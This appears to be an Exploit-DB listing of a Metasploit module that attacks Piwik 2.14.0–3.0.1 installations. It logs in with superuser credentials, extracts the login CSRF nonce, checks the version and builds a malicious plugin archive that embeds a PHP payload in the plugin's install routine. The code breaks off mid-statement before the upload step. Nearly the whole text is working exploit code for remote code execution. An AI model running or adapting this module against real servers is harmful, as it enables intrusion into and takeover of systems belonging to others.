Exploit-DB #41358
Description: Piwik 2.14.0/2.16.0/2.17.1/3.0.1 - Superuser Plugin Upload (Metasploit)
Type: remote
Platform: php
Date: 2017-02-14
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Piwik Superuser Plugin Upload',
      'Description'     => %q{
          This module will generate a plugin, pack the payload into it
          and upload it to a server running Piwik. Superuser Credentials are
          required to run this module. This module does not work against Piwik 1
          as there is no option to upload custom plugins.
          Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'FireFart' # Metasploit module
        ],
      'References'      =>
        [
          [ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ]
        ],
      'DisclosureDate'  => 'Feb 05 2017',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['Piwik', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']),
        OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with'])
      ], self.class)
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def normalized_index
    normalize_uri(target_uri, 'index.php')
  end

  def get_piwik_version(login_cookies)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_index,
      'cookie' => login_cookies,
      'vars_get' => {
        'module' => 'Feedback',
        'action' => 'index',
        'idSite' => '1',
        'period' => 'day',
        'date' => 'yesterday'
      }
    })

    piwik_version_regexes = [
      /<title>About Piwik ([\w\.]+) -/,
      /content-title="About&#x20;Piwik&#x20;([\w\.]+)"/,
      /<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m
    ]

    if res && res.code == 200
      for r in piwik_version_regexes
        match = res.body.match(r)
        if match
          return match[1]
        end
      end
    end

    # check for Piwik version 1
    # the logo.svg is only available in version 1
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg')
    })
    if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/
      return "1.x"
    end

    nil
  end

  def is_superuser?(login_cookies)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_index,
      'cookie' => login_cookies,
      'vars_get' => {
        'module' => 'Installation',
        'action' => 'systemCheckPage'
      }
    })

    if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/
      return false
    elsif res && res.body =~ /id="systemCheckRequired"/
      return true
    else
      return false
    end
  end

  def generate_plugin(plugin_name)
    plugin_json = %Q|{
      "name": "#{plugin_name}",
      "description": "#{plugin_name}",
      "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}",
      "theme": false
    }|

    plugin_script = %Q|<?php
      namespace Piwik\\Plugins\\#{plugin_name};
      class #{plugin_name} extends \\Piwik\\Plugin {
        public function install()
        {
          #{payload.encoded}
        }
      }
    |

    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
    zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
    zip.add_file("#{plugin_name}/plugin.json", plugin_json)
    zip.pack
  end

  def exploit
    print_status('Trying to detect if target is running a supported version of piwik')
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_index
    })
    if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/
      print_good('Detected Piwik installation')
    else
      fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik')
    end

    print_status("Authenticating with Piwik using #{username}:#{password}...")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalized_index,
      'vars_get' => {
        'module' => 'Login',
        'action' => 'index'
      }
    })

    login_nonce = nil
    if res && res.code == 200
      match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(\w+)"\/>/)
      if match
        login_nonce = match[1]
      end
    end
    fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil?

    cookies = res.get_cookies

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalized_index,
      'cookie' => cookies,
      'vars_get' => {
        'module' => 'Login',
        'action' => 'index'
      },
      'vars_post' => {
        'form_login' => "#{username}",
        'form_password' => "#{password}",
        'form_nonce' => "#{login_nonce}"
      }
    })

    if res && res.redirect? && res.redirection
      # update cookies
      cookies = res.get_cookies
    else
      # failed login responds with code 200 and renders the login form
      fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik')
    end
    print_good('Authenticated with Piwik')

    print_sta